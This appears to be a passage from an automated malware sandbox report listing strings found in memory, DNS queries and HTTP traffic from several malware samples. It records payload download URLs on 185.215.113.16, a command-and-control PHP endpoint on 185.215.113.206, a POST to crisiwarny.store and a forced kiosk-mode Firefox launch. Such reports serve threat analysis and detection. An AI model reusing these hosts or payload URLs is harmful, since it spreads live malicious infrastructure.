process@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/FileUtils.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/NetUtil.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}@mozilla.org/network/file-input-stream;1isDownloadsImprovementsAlreadyMigrated_finalizeInternal/this._finalizePromise<@mozilla.org/network/simple-stream-listener;1newChannel requires a single object argumentNon-zero amount of bytes must be specifiedhttps://mail.yahoo.co.jp/compose/?To=%s@mozilla.org/scriptableinputstream;1First argument should be an nsIInputStreamhttps://mail.yandex.ru/compose?mailto=%shttps://mail.inbox.lv/compose?to=%sMust have a source and a callback@mozilla.org/network/async-stream-copier;1https://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler
Source: 582b1c6d88.exe, 00000017.00000003.2305592565.0000000000594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blockingC:\Program Files\Mozilla Firefox\firefox.exewinsta0\defaultALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LT equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2459178191.000001F830150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exe--kioskhttps://www.facebook.com/video--no-default-browser-check--disable-popup-blocking equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2314277428.000001C00AE97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exe--kioskhttps://www.facebook.com/video--no-default-browser-check--disable-popup-blocking--attempting-deelevation{A equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.2307139634.00000215D3327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exe--kioskhttps://www.facebook.com/video--no-default-browser-check--disable-popup-blocking6 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.2307139634.00000215D3320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blockingC:\Program Files\Mozilla Firefox\firefox.exewinsta0\default' equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2314277428.000001C00AE90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default$A equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2459178191.000001F830150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blockingC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: FileUtils_closeSafeFileOutputStream@mozilla.org/addons/addon-manager-startup;1://connect.facebook.net//all.jsFileUtils_openSafeFileOutputStreamresource://gre/modules/FileUtils.sys.mjs://cdn.branch.io/branch-latest.min.jshttps://smartblock.firefox.etp/play.svg@mozilla.org/network/atomic-file-output-stream;1://track.adform.net/serving/scripts/trackpoint/://static.criteo.net/js/ld/publishertag.js://.imgur.io/js/vendor..bundle.jswebcompat-reporter%40mozilla.org:1.5.1resource://gre/modules/addons/XPIProvider.jsmFileUtils_openAtomicFileOutputStreamhttps://smartblock.firefox.etp/facebook.svg://www.everestjs.net/static/st.v3.jsFileUtils_closeAtomicFileOutputStream@mozilla.org/network/file-output-stream;1webcompat-reporter@mozilla.org.xpi://c.amazon-adsystem.com/aax2/apstag.js://auth.9c9media.ca/auth/main.js://pub.doubleverify.com/signals/pub.js://www.google-analytics.com/plugins/ua/ec.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.js://.moatads.com//moatheader.js://s0.2mdn.net/instream/html5/ima3.js://.vidible.tv//vidible-min.js*://js.maxmind.com/js/apis/geoip2//geoip2.js://pagead2.googlesyndication.com/tag/js/gpt.js://cdn.adsafeprotected.com/iasPET.1.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.js://adservex.media.net/videoAds.js://www.google-analytics.com/analytics.js://static.adsafeprotected.com/iasPET.1.js://www.googletagmanager.com/gtm.js://www.google-analytics.com/gtm/js://ssl.google-analytics.com/ga.js://s.webtrends.com/js/advancedLinkTracking.jsTelemetrySession::onEnvironmentChange equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2503641584.000001F841B6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WindowGlobalParent.getActor: Window protocol 'Translations' doesn't match uri about:certerror?e=nssBadCert&u=https%3A//www.facebook.com/video&c=UTF-8&d=%20 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [addon]google@search.mozilla.orghttps://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000025.00000002.2498238263.000001F8415D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: about:certerror?e=nssBadCert&u=https%3A//www.facebook.com/video&c=UTF-8&d=%20 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2489546903.000001F840387000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: e=nssBadCert&u=https%3A//www.facebook.com/video&c=UTF-8&d=%20 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2537182494.000001F848AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2521141866.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2386907180.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2385768926.000001F8433D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2535737946.000001F848814000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 582b1c6d88.exe, 00000017.00000002.2338194813.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2537182494.000001F848AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/videoVALIDATE_ALLOW_INVALID_FILENAMES@mozilla.org/systemprincipal;1 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2553564650.00002F89BE100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2506963554.000001F841C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com^partitionKey=%28https%2Cfacebook.com%29 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2535737946.000001F848814000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: onPrefEnabledChanged() - removing gmp directory onPrefEMEGlobalEnabledChanged() id=media.gmp-manager.checkContentSignaturemedia.gmp-manager.cert.checkAttributesipc:first-content-process-createdThis should only be called from XPCShell testsmedia.gmp-manager.cert.requireBuiltInresource://gre/modules/AddonManager.sys.mjs - the given reason to update is not supportedonPrefEnabledChanged() - adding gmp directory resource://gre/modules/amManager.sys.mjsmedia.gmp-manager.secondsBetweenChecksresource://gre/modules/AddonManager.sys.mjsfindUpdates() - updateTask succeeded for uninstallPlugin() - unregistering gmp directory startup - adding clearkey CDM failedKEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONKEY_PLUGIN_LAST_INSTALL_FAIL_REASONstartup - adding clearkey CDM directory startup - adding gmp directory failed with SitePermsAddonInstall#cancel called twice on sitepermsaddon-provider-registeredaddGatedPermissionTypesForXpcShellTests://static.chartbeat.com/js/chartbeat.js://static.chartbeat.com/js/chartbeat_video.jspictureinpicture%40mozilla.org:1.0.0://www.rva311.com/static/js/main..chunk.js://web-assets.toggl.com/app/assets/scripts/.js://libs.coremetrics.com/eluminate.js@mozilla.org/network/safe-file-output-stream;1://connect.facebook.net//sdk.js://.imgur.com/js/vendor.*.bundle.jsresource://gre/modules/TelemetryStorage.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.2307139634.00000215D3343000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2306658894.00000215D333E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: osk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.2307139634.00000215D3343000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2306658894.00000215D333E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s--kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevationUser equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2526147026.000001F84376E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tlsflags0x00000000:www.facebook.com:443^partitionKey=%28https%2Cfacebook.com%29 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2499796966.000001F841703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2496596781.000001F84123D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com/videoZ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2552617952.000016DD5B604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comE equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.2492115044.000001F84078B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2521141866.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2386907180.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2495374485.000001F840D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x.S........[tlsflags0x00000000]www.facebook.com:443^partitionKey=%28https%2Cfacebook.com%29 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2498238263.000001F8415D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xabout:certerror?e=nssBadCert&u=https%3A//www.facebook.com/video&c=UTF-8&d=%20 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2489546903.000001F840387000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xe=nssBadCert&u=https%3A//www.facebook.com/video&c=UTF-8&d=%20 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2521141866.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2386907180.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2506963554.000001F841C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2462144555.000001F83BCA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2521141866.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2386907180.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2506963554.000001F841C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.facebook.com^partitionKey=%28https%2Cfacebook.com%29 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2526147026.000001F84376E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xtlsflags0x00000000:www.facebook.com:443^partitionKey=%28https%2Cfacebook.com%29 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000003.2385255730.000001F8438DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ~predictor-origin,:https://www.facebook.com/ equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: firefox.exe, 00000025.00000002.2459673235.000001F83036B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2496596781.000001F8412D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: df757a3a2c.exe, 00000014.00000003.2384080687.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.1653078775.000000000101F000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2384080687.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.1653078775.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe4
Source: file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.1653078775.000000000101F000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2384080687.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: df757a3a2c.exe, 00000014.00000003.2384080687.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe2
Source: file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.1653078775.000000000101F000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2384080687.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000006.00000003.1653097468.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/mine/random.exeID
Source: ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.000000000185A000.00000004.00000020.00020000.00000000.sdmp, ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.0000000001875000.00000004.00000020.00020000.00000000.sdmp, JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.0000000001845000.00000004.00000020.00020000.00000000.sdmp, JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.000000000185A000.00000004.00000020.00020000.00000000.sdmp, ea19c894e7.exe, 00000015.00000002.2239265604.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp, ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A97000.00000004.00000020.00020000.00000000.sdmp, ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.0000000001845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php%
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.000000000185A000.00000004.00000020.00020000.00000000.sdmp, ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php/
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php6
Source: ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpW
Source: ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpee860fe502924bh
